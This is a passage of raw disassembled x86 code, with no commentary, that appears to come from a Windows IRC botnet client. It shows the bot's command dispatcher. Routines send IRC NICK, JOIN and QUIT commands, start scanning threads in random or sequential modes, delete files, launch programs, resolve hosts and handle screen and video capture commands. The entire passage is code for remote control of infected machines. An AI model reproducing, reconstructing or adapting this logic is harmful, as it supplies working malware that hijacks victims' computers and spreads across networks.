esp, 20h jmp loc_414CDE ; --------------------------------------------------------------------------- loc_41306A: ; CODE XREF: sub_40EC43+2277j ; sub_40EC43+228Ej cmp [ebp+var_C], ebx jz loc_40F098 push [ebp+arg_18] push [ebp+var_C] call sub_417580 pop ecx cmp eax, ebx pop ecx jz loc_40F098 push eax push edi call sub_40BC95 push edi lea eax, [ebp+var_2EC] push offset dword_435B0C push eax call sub_416FB6 add esp, 14h jmp loc_41166A ; --------------------------------------------------------------------------- loc_4130A9: ; CODE XREF: sub_40EC43+2237j ; sub_40EC43+224Ej push edi push [ebp+arg_1C] call sub_417580 pop ecx test eax, eax pop ecx jz loc_414CDE mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_413140 push esi push [ebp+var_C] call sub_417580 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2EC] jz short loc_41312E push esi push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_435D38 push eax call sub_416FB6 lea eax, [ebp+var_2EC] push 1FFh push eax push [ebp+arg_0] call sub_418910 push esi push edi lea eax, [ebp+var_2EC] push offset dword_435AD8 push eax call sub_416FB6 add esp, 34h inc [ebp+arg_24] jmp loc_41351E ; --------------------------------------------------------------------------- loc_41312E: ; CODE XREF: sub_40EC43+4499j push offset dword_435A98 push eax call sub_416FB6 pop ecx pop ecx jmp loc_41351E ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_40EC43+4482j push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40B9A1 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 push edi push offset dword_435A70 lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A add esp, 24h jmp loc_41351E ; --------------------------------------------------------------------------- loc_413187: ; CODE XREF: sub_40EC43+2209j ; sub_40EC43+2220j push offset aScreen ; "screen" push edi call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_4131EA cmp [ebp+esi+var_8C], ebx jz short loc_4131D7 push [ebp+esi+var_8C] call sub_4083F0 cmp eax, 1 pop ecx lea eax, [ebp+var_2EC] jnz short loc_4131D0 push [ebp+esi+var_8C] push offset dword_435A2C push eax call sub_416FB6 add esp, 0Ch jmp short loc_4131EA ; --------------------------------------------------------------------------- loc_4131D0: ; CODE XREF: sub_40EC43+4574j push offset dword_4359F0 jmp short loc_4131E2 ; --------------------------------------------------------------------------- loc_4131D7: ; CODE XREF: sub_40EC43+455Cj push offset dword_4359A8 lea eax, [ebp+var_2EC] loc_4131E2: ; CODE XREF: sub_40EC43+4592j push eax call sub_416FB6 pop ecx pop ecx loc_4131EA: ; CODE XREF: sub_40EC43+4553j ; sub_40EC43+458Bj push offset aDrivers ; "drivers" push edi call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_413281 mov [ebp+arg_10], ebx loc_413202: ; CODE XREF: sub_40EC43+4629j lea eax, [ebp+var_8C0] push 1FFh push eax lea eax, [ebp+var_AC0] push 0FFh push eax push [ebp+arg_10] call dword_43EB54 test eax, eax jz short loc_413265 lea eax, [ebp+var_8C0] push eax lea eax, [ebp+var_AC0] push eax lea eax, [ebp+var_2924] push [ebp+arg_10] push offset dword_43596C push eax call sub_416FB6 push ebx lea eax, [ebp+var_2924] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 28h loc_413265: ; CODE XREF: sub_40EC43+45E2j inc [ebp+arg_10] cmp [ebp+arg_10], 0Ah jl short loc_413202 lea eax, [ebp+var_2EC] push offset dword_435938 push eax call sub_416FB6 pop ecx pop ecx loc_413281: ; CODE XREF: sub_40EC43+45B6j push offset aFrame ; "frame" push edi call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_413327 cmp [ebp+esi+var_8C], ebx jz short loc_413314 cmp [ebp+esi+var_88], ebx jz short loc_413314 cmp [ebp+esi+var_84], ebx jz short loc_413314 mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_413314 push eax call sub_41751F pop ecx push eax push [ebp+esi+var_84] call sub_41751F pop ecx push eax push [ebp+esi+var_88] call sub_41751F pop ecx push eax push [ebp+esi+var_8C] call sub_40862B add esp, 10h test eax, eax lea eax, [ebp+var_2EC] jnz short loc_41330D push [ebp+esi+var_8C] push offset dword_4358F4 push eax call sub_416FB6 add esp, 0Ch jmp short loc_413327 ; --------------------------------------------------------------------------- loc_41330D: ; CODE XREF: sub_40EC43+46B1j push offset dword_4358B0 jmp short loc_41331F ; --------------------------------------------------------------------------- loc_413314: ; CODE XREF: sub_40EC43+465Aj ; sub_40EC43+4663j ... push offset dword_435868 lea eax, [ebp+var_2EC] loc_41331F: ; CODE XREF: sub_40EC43+46CFj push eax call sub_416FB6 pop ecx pop ecx loc_413327: ; CODE XREF: sub_40EC43+464Dj ; sub_40EC43+46C8j push offset aVideo ; "video" push edi call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_4134FD mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_4133D3 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_4133D3 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_4133D3 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_4133D3 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_4133D3 push esi call sub_41751F pop ecx push eax push edi call sub_41751F pop ecx push eax push [ebp+arg_10] call sub_41751F pop ecx push eax push [ebp+arg_0] call sub_41751F pop ecx push eax push [ebp+arg_18] call sub_408824 add esp, 14h test eax, eax lea eax, [ebp+var_2EC] jnz short loc_4133C9 push [ebp+arg_18] push offset dword_435828 loc_4133BB: ; CODE XREF: sub_40EC43+40E0j push eax call sub_416FB6 add esp, 0Ch jmp loc_4134FD ; --------------------------------------------------------------------------- loc_4133C9: ; CODE XREF: sub_40EC43+476Ej push offset dword_4357D8 jmp loc_4134F5 ; --------------------------------------------------------------------------- loc_4133D3: ; CODE XREF: sub_40EC43+4705j ; sub_40EC43+4717j ... push offset dword_435788 lea eax, [ebp+var_2EC] jmp loc_4134F5 ; --------------------------------------------------------------------------- loc_4133E3: ; CODE XREF: sub_40EC43+1C60j ; sub_40EC43+1C77j push offset aR ; "r" push edi call sub_4176A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41345D mov ebx, 200h push esi lea eax, [ebp+var_2EC] push ebx push eax call sub_418D0C add esp, 0Ch jmp short loc_413439 ; --------------------------------------------------------------------------- loc_41340E: ; CODE XREF: sub_40EC43+47F8j push 1 lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 push esi lea eax, [ebp+var_2EC] push ebx push eax call sub_418D0C add esp, 20h loc_413439: ; CODE XREF: sub_40EC43+47C9j test eax, eax jnz short loc_41340E push esi call sub_417600 push edi lea eax, [ebp+var_2EC] push offset dword_435750 push eax call sub_416FB6 add esp, 10h jmp loc_4115DF ; --------------------------------------------------------------------------- loc_41345D: ; CODE XREF: sub_40EC43+47B1j push edi push offset dword_435720 jmp loc_4115AF ; --------------------------------------------------------------------------- loc_413468: ; CODE XREF: sub_40EC43+1C32j ; sub_40EC43+1C49j cmp [ebp+var_C], ebx jz loc_414CDE push edi push [ebp+var_C] call sub_417580 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414CDE push offset asc_4296D4 ; "\n" push esi call sub_4176D0 push esi call sub_40B184 add esp, 0Ch test eax, eax lea eax, [ebp+var_2EC] jnz short loc_4134AB push offset dword_4356E4 jmp short loc_4134F5 ; --------------------------------------------------------------------------- loc_4134AB: ; CODE XREF: sub_40EC43+485Fj push esi push offset dword_4356BC push eax call sub_416FB6 add esp, 0Ch jmp short loc_41351E ; --------------------------------------------------------------------------- loc_4134BC: ; CODE XREF: sub_40EC43+1C04j ; sub_40EC43+1C1Bj cmp [ebp+var_C], ebx jz loc_414CDE push edi push [ebp+var_C] call sub_417580 pop ecx cmp eax, ebx pop ecx jz loc_414CDE push eax call sub_40A928 test eax, eax pop ecx lea eax, [ebp+var_2EC] jnz short loc_4134F0 push offset unk_435690 jmp short loc_4134F5 ; --------------------------------------------------------------------------- loc_4134F0: ; CODE XREF: sub_40EC43+48A4j push offset dword_435664 loc_4134F5: ; CODE XREF: sub_40EC43+478Bj ; sub_40EC43+479Bj ... push eax call sub_416FB6 pop ecx pop ecx loc_4134FD: ; CODE XREF: sub_40EC43+46F3j ; sub_40EC43+4781j cmp [ebp+var_8], ebx jnz short loc_41351E push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_41351E: ; CODE XREF: sub_40EC43+44E6j ; sub_40EC43+44F8j ... lea eax, [ebp+var_2EC] push eax loc_413525: ; CODE XREF: sub_40EC43+1757j call sub_40BD8D pop ecx jmp loc_414CDE ; --------------------------------------------------------------------------- loc_413530: ; CODE XREF: sub_40EC43+1BD6j ; sub_40EC43+1BEDj push 7Fh lea eax, [ebp+var_1974] push edi push eax call sub_418910 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_41355F push 7Fh lea eax, [ebp+var_18F4] push esi push eax call sub_418910 add esp, 0Ch loc_41355F: ; CODE XREF: sub_40EC43+4908j push 7Fh lea eax, [ebp+var_1874] push [ebp+var_8C] push eax call sub_418910 mov eax, [ebp+arg_4] push edi mov [ebp+var_1978], eax mov eax, [ebp+var_8] mov [ebp+var_17F0], eax mov eax, [ebp+var_4] mov [ebp+var_17EC], eax lea eax, [ebp+var_2EC] push offset dword_43563C push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 15h push eax call sub_416A7A add esp, 24h mov [ebp+var_17F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1978] push ebx push eax push offset sub_40BA67 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_17F4] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41360F call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_4355F0 loc_4135F3: ; CODE XREF: sub_40EC43+5BE9j lea eax, [ebp+var_2EC] push eax call sub_416FB6 add esp, 0Ch jmp loc_4115DF ; --------------------------------------------------------------------------- loc_413607: ; CODE XREF: sub_40EC43+49D2j push 32h call dword_423064 ; Sleep loc_41360F: ; CODE XREF: sub_40EC43+49A2j cmp [ebp+var_17E8], ebx jz short loc_413607 jmp loc_4115DF ; --------------------------------------------------------------------------- loc_41361C: ; CODE XREF: sub_40EC43+1BA8j ; sub_40EC43+1BBFj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_4061E4 push edi push offset dword_4355CC jmp loc_412E12 ; --------------------------------------------------------------------------- loc_413637: ; CODE XREF: sub_40EC43+1B7Aj ; sub_40EC43+1B91j push 14h lea eax, [ebp+var_86C] push ebx push eax call sub_417030 push edi lea eax, [ebp+var_858] push offset aS_3 ; "%s" push eax call sub_416FB6 mov eax, [ebp+arg_4] mov [ebp+var_874], eax lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_754] push 80h push eax call sub_41752A mov eax, [ebp+var_4] mov [ebp+var_6CC], eax mov eax, [ebp+var_8] mov [ebp+var_6C8], eax lea eax, [ebp+var_754] push eax lea eax, [ebp+var_858] push eax lea eax, [ebp+var_2EC] push offset dword_435598 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 12h push eax call sub_416A7A add esp, 40h mov [ebp+var_6D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_874] push ebx push eax push offset sub_40C330 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_6D0] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41370A loc_4136F1: ; CODE XREF: sub_40EC43+79Dj call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_435550 jmp loc_412988 ; --------------------------------------------------------------------------- loc_413702: ; CODE XREF: sub_40EC43+4ACDj push 32h call dword_423064 ; Sleep loc_41370A: ; CODE XREF: sub_40EC43+4AACj cmp [ebp+var_6C4], ebx jz short loc_413702 jmp loc_40F594 ; --------------------------------------------------------------------------- loc_413717: ; CODE XREF: sub_40EC43+1B4Cj ; sub_40EC43+1B63j push edi call dword_423158 ; DeleteFileA test eax, eax jz short loc_41372A push edi push offset dword_435524 jmp short loc_413735 ; --------------------------------------------------------------------------- loc_41372A: ; CODE XREF: sub_40EC43+4ADDj push offset dword_435F1C call sub_40A863 push eax loc_413735: ; CODE XREF: sub_40EC43+4AE5j lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A loc_413746: ; CODE XREF: sub_40EC43+4BC7j add esp, 10h jmp loc_4115BE ; --------------------------------------------------------------------------- loc_41374E: ; CODE XREF: sub_40EC43+1B1Ej ; sub_40EC43+1B35j push edi call sub_41751F push eax call sub_4151A1 xor esi, esi pop ecx inc esi pop ecx cmp eax, esi push edi lea eax, [ebp+var_2EC] jnz short loc_413771 push offset unk_4354EC jmp short loc_413776 ; --------------------------------------------------------------------------- loc_413771: ; CODE XREF: sub_40EC43+4B25j push offset unk_4354A8 loc_413776: ; CODE XREF: sub_40EC43+4B2Cj push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_4115E2 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h jmp loc_4115E2 ; --------------------------------------------------------------------------- loc_4137A9: ; CODE XREF: sub_40EC43+1AF0j ; sub_40EC43+1B07j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_414F16 add esp, 18h cmp eax, 1 push edi jnz short loc_4137CB push offset unk_435470 jmp loc_4115AF ; --------------------------------------------------------------------------- loc_4137CB: ; CODE XREF: sub_40EC43+4B7Cj push offset unk_435430 jmp loc_4115AF ; --------------------------------------------------------------------------- loc_4137D5: ; CODE XREF: sub_40EC43+1AC2j ; sub_40EC43+1AD9j push edi call dword_43EB64 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_41380F push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43EADC ; gethostbyaddr cmp eax, ebx jz short loc_41382A push dword ptr [eax] loc_4137F8: ; CODE XREF: sub_40EC43+4BE5j push edi lea eax, [ebp+var_2EC] push offset dword_435404 push eax call sub_416FB6 jmp loc_413746 ; --------------------------------------------------------------------------- loc_41380F: ; CODE XREF: sub_40EC43+4B9Fj push edi call dword_43EBA8 ; gethostbyname cmp eax, ebx jz short loc_41382A mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43EBB0 ; inet_ntoa push eax jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_41382A: ; CODE XREF: sub_40EC43+4BB1j ; sub_40EC43+4BD5j push offset dword_4353CC jmp loc_410E28 ; --------------------------------------------------------------------------- loc_413834: ; CODE XREF: sub_40EC43+1A94j ; sub_40EC43+1AABj push 7Fh push edi push [ebp+arg_14] call sub_418910 push edi lea eax, [ebp+var_2EC] push offset dword_435398 push eax call sub_416FB6 add esp, 18h jmp loc_41198E ; --------------------------------------------------------------------------- loc_413859: ; CODE XREF: sub_40EC43+1A66j ; sub_40EC43+1A7Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43EA98 test eax, eax push edi jz short loc_413879 push offset dword_43535C jmp loc_4115AF ; --------------------------------------------------------------------------- loc_413879: ; CODE XREF: sub_40EC43+4C2Aj push offset dword_435318 jmp loc_4115AF ; --------------------------------------------------------------------------- loc_413883: ; CODE XREF: sub_40EC43+1A38j ; sub_40EC43+1A4Fj mov al, [edi] mov byte_42E91C, al movsx eax, byte ptr [edi] push eax push offset dword_4352E0 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_413898: ; CODE XREF: sub_40EC43+1A0Aj ; sub_40EC43+1A21j push edi call sub_41751F test eax, eax pop ecx jle loc_414CDE push edi call sub_41751F cmp eax, 1F4h pop ecx jge loc_414CDE push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415A3A push eax lea eax, [ebp+var_2EC] push offset dword_435C84 push eax call sub_416FB6 add esp, 1Ch jmp loc_412D5F ; --------------------------------------------------------------------------- loc_4138E3: ; CODE XREF: sub_40EC43+19DCj ; sub_40EC43+19F3j push edi call sub_41751F test eax, eax pop ecx jle loc_40F098 push edi call sub_41751F mov esi, 1F4h pop ecx cmp eax, esi jge loc_40F098 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call sub_40D430 pop ecx pop ecx push esi call dword_423064 ; Sleep push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call dword_43EBBC ; closesocket push [ebp+var_10] push edi call sub_41751F imul eax, 234h pop ecx push dword_44457C[eax] call dword_423168 ; TerminateThread push edi call sub_41751F imul eax, 234h push edi mov dword_44457C[eax], ebx call sub_41751F imul eax, 234h pop ecx pop ecx mov byte ptr dword_444368[eax], bl jmp loc_40F098 ; --------------------------------------------------------------------------- loc_41398C: ; CODE XREF: sub_40EC43+19AEj ; sub_40EC43+19C5j push edi push offset aAll ; "all" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_4139BB call sub_416C3D cmp eax, ebx jle short loc_4139B1 push eax push offset dword_435294 jmp loc_41165B ; --------------------------------------------------------------------------- loc_4139B1: ; CODE XREF: sub_40EC43+4D61j push offset dword_43525C jmp loc_41437F ; --------------------------------------------------------------------------- loc_4139BB: ; CODE XREF: sub_40EC43+4D58j mov eax, [ebp+var_BC] lea esi, [eax+1] jmp short loc_413A32 ; --------------------------------------------------------------------------- loc_4139C6: ; CODE XREF: sub_40EC43+4DF2j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F098 push edi call sub_41751F push eax call sub_416BB5 pop ecx pop ecx test eax, eax push edi lea eax, [ebp+var_2EC] jz short loc_4139F5 push offset dword_435228 jmp short loc_4139FA ; --------------------------------------------------------------------------- loc_4139F5: ; CODE XREF: sub_40EC43+4DA9j push offset dword_4351EC loc_4139FA: ; CODE XREF: sub_40EC43+4DB0j push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413A24 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_413A24: ; CODE XREF: sub_40EC43+4DC3j lea eax, [ebp+var_2EC] push eax call sub_40BD8D pop ecx inc esi loc_413A32: ; CODE XREF: sub_40EC43+4D81j cmp esi, 20h jb short loc_4139C6 jmp loc_40F098 ; --------------------------------------------------------------------------- loc_413A3C: ; CODE XREF: sub_40EC43+1980j ; sub_40EC43+1997j cmp [ebp+var_C], ebx jz loc_414CDE push edi push [ebp+var_C] call sub_417580 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414CDE push esi push offset dword_4275E0 push [ebp+arg_4] call sub_40D430 push esi push offset dword_4351C4 jmp short loc_413ABA ; --------------------------------------------------------------------------- loc_413A70: ; CODE XREF: sub_40EC43+1952j ; sub_40EC43+1969j push edi push offset dword_435BB4 push [ebp+arg_4] call sub_40D430 push edi push offset dword_435194 jmp short loc_413ABA ; --------------------------------------------------------------------------- loc_413A86: ; CODE XREF: sub_40EC43+1924j ; sub_40EC43+193Bj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D430 push edi push offset dword_435164 jmp loc_412E12 ; --------------------------------------------------------------------------- loc_413AA6: ; CODE XREF: sub_40EC43+18F6j ; sub_40EC43+190Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D430 push edi push offset dword_435130 loc_413ABA: ; CODE XREF: sub_40EC43+42F8j ; sub_40EC43+4E2Bj ... call sub_40BE01 loc_413ABF: ; CODE XREF: sub_40EC43+435Ej add esp, 14h jmp loc_414CDE ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_40EC43+18BBj ; sub_40EC43+18D0j mov al, byte_42E94A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42E94A jz loc_40F098 mov ecx, edx loc_413ADE: ; CODE XREF: sub_40EC43+4EA3j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413ADE cmp al, bl jz loc_40F098 mov [ebp+arg_18], edx loc_413AF3: ; CODE XREF: sub_40EC43+515Cj push 8 call sub_416CBC pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_413B42 push ecx lea eax, [ebp+var_2EC] push offset unk_4364F0 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 20h jmp loc_413D96 ; --------------------------------------------------------------------------- loc_413B42: ; CODE XREF: sub_40EC43+4ECAj or [ebp+var_46C], 0FFFFFFFFh cmp dword_429D60, ebx mov [ebp+var_470], 14h mov [ebp+var_484], 7 mov [ebp+var_480], 140h mov [ebp+arg_0], ebx jz short loc_413BB3 mov eax, [ebp+arg_18] mov edi, offset dword_429D60 lea esi, [eax-0Ah] loc_413B7D: ; CODE XREF: sub_40EC43+4F52j lea eax, [edi-28h] push esi push eax call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_413B99 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413B7D jmp short loc_413BB3 ; --------------------------------------------------------------------------- loc_413B99: ; CODE XREF: sub_40EC43+4F48j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_46C], eax imul ecx, 3Ch mov ecx, dword_429D60[ecx] mov [ebp+var_488], ecx loc_413BB3: ; CODE XREF: sub_40EC43+4F2Dj ; sub_40EC43+4F54j cmp [ebp+var_488], ebx jz loc_413DBC push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_E4] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43EAC8 ; getsockname mov al, [ebp+var_95F] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_E0], eax push [ebp+var_E0] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_59C] push eax call sub_418910 xor eax, eax cmp [ebp+var_95F], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_59C] push eax call sub_418C10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413C55 loc_413C33: ; CODE XREF: sub_40EC43+5010j cmp eax, ebx jz short loc_413C55 mov byte ptr [eax], 78h lea eax, [ebp+var_59C] push 30h push eax call sub_418C10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413C33 loc_413C55: ; CODE XREF: sub_40EC43+4FEEj ; sub_40EC43+4FF2j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_48C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_460], eax lea eax, [ebp+var_58C] push eax mov [ebp+var_45C], 1 mov [ebp+var_464], esi call sub_41752A mov edi, offset a2 ; "#2" push offset byte_43BCE8 push edi call sub_4173D0 add esp, 14h test eax, eax jz short loc_413CBF push edi lea eax, [ebp+var_50C] push 80h push eax call sub_41752A add esp, 0Ch jmp short loc_413CC5 ; --------------------------------------------------------------------------- loc_413CBF: ; CODE XREF: sub_40EC43+5063j mov [ebp+var_50C], bl loc_413CC5: ; CODE XREF: sub_40EC43+507Aj cmp [ebp+var_45C], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413CD7 mov eax, offset aSequential ; "Sequential" loc_413CD7: ; CODE XREF: sub_40EC43+508Dj push [ebp+var_470] lea ecx, [ebp+var_59C] push [ebp+var_480] push [ebp+var_484] push [ebp+var_488] push ecx push eax lea eax, [ebp+var_2EC] push offset unk_4350B8 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 8 push eax call sub_416A7A add esp, 2Ch mov [ebp+var_47C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_59C] push ebx push eax push offset sub_4077CC push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_47C] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_413DB2 call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2EC] push offset unk_4363D8 push eax call sub_416FB6 add esp, 0Ch loc_413D6A: ; CODE XREF: sub_40EC43+5177j cmp [ebp+var_8], ebx jnz short loc_413D89 push ebx lea eax, [ebp+var_2EC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_413D89: ; CODE XREF: sub_40EC43+512Aj lea eax, [ebp+var_2EC] push eax call sub_40BD8D pop ecx loc_413D96: ; CODE XREF: sub_40EC43+4EFAj add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413AF3 jmp loc_40F098 ; --------------------------------------------------------------------------- loc_413DAA: ; CODE XREF: sub_40EC43+5175j push 32h call dword_423064 ; Sleep loc_413DB2: ; CODE XREF: sub_40EC43+510Aj cmp [ebp+var_458], ebx jz short loc_413DAA jmp short loc_413D6A ; --------------------------------------------------------------------------- loc_413DBC: ; CODE XREF: sub_40EC43+30CEj ; sub_40EC43+4F76j push offset unk_435070 jmp loc_411980 ; --------------------------------------------------------------------------- loc_413DC6: ; CODE XREF: sub_40EC43+1891j ; sub_40EC43+18A6j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41752A mov eax, [ebp+arg_4] push offset unk_435034 mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A push ebx lea eax, [ebp+var_2EC] push 1Eh push eax call sub_416A7A add esp, 24h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_408E7C push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_413E62 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_434FE8 jmp loc_412988 ; --------------------------------------------------------------------------- loc_413E5A: ; CODE XREF: sub_40EC43+5222j push 32h call dword_423064 ; Sleep loc_413E62: ; CODE XREF: sub_40EC43+5204j cmp [ebp+var_18], ebx jz short loc_413E5A jmp loc_40F594 ; --------------------------------------------------------------------------- loc_413E6C: ; CODE XREF: sub_40EC43+1867j ; sub_40EC43+187Cj push 4 call sub_416CBC test eax, eax pop ecx jle short loc_413E82 push offset unk_434FB8 jmp loc_411980 ; --------------------------------------------------------------------------- loc_413E82: ; CODE XREF: sub_40EC43+5233j mov eax, [ebp+esi+var_90] mov edi, 104h cmp eax, ebx jz short loc_413EA5 push eax lea eax, [ebp+var_16DC] push edi push eax call sub_41752A add esp, 0Ch jmp short loc_413EB4 ; --------------------------------------------------------------------------- loc_413EA5: ; CODE XREF: sub_40EC43+524Dj lea eax, [ebp+var_16DC] push edi push eax push ebx call dword_423094 ; GetModuleFileNameA loc_413EB4: ; CODE XREF: sub_40EC43+5260j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_413EC4 mov esi, offset byte_42E9B8 loc_413EC4: ; CODE XREF: sub_40EC43+527Aj push esi lea eax, [ebp+var_15D8] push edi push eax call sub_41752A mov eax, dword_42E904 push 7Fh push [ebp+var_8C] mov [ebp+var_14CC], eax mov eax, [ebp+arg_4] mov [ebp+var_14D0], ebx mov [ebp+var_16E0], eax lea eax, [ebp+var_14C8] push eax call sub_418910 mov eax, [ebp+var_4] mov [ebp+var_1448], eax mov eax, [ebp+var_8] mov [ebp+var_1444], eax lea eax, [ebp+var_15D8] push eax lea eax, [ebp+var_16DC] push eax lea eax, [ebp+var_2EC] push [ebp+var_14CC] push offset unk_434F68 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 4 push eax call sub_416A7A add esp, 38h mov [ebp+var_14D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_16E0] push ebx push eax push offset sub_406A71 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_14D4] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_413F97 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_434F20 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_413F8F: ; CODE XREF: sub_40EC43+535Aj push 32h call dword_423064 ; Sleep loc_413F97: ; CODE XREF: sub_40EC43+5339j cmp [ebp+var_1440], ebx jz short loc_413F8F jmp loc_41198E ; --------------------------------------------------------------------------- loc_413FA4: ; CODE XREF: sub_40EC43+183Dj ; sub_40EC43+1852j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_413FC3 push edi call sub_41751F test eax, eax pop ecx jz short loc_413FC3 push edi call sub_41751F pop ecx jmp short loc_413FC8 ; --------------------------------------------------------------------------- loc_413FC3: ; CODE XREF: sub_40EC43+536Aj ; sub_40EC43+5375j mov eax, dword_42E908 loc_413FC8: ; CODE XREF: sub_40EC43+537Ej mov esi, [ebp+esi+var_8C] mov [ebp+var_D70], eax xor eax, eax cmp [ebp+var_95C], bl setz al cmp esi, ebx mov [ebp+var_D5C], eax jz short loc_413FFB lea eax, [ebp+var_E74] push esi push eax call sub_416FB6 pop ecx pop ecx jmp short loc_414026 ; --------------------------------------------------------------------------- loc_413FFB: ; CODE XREF: 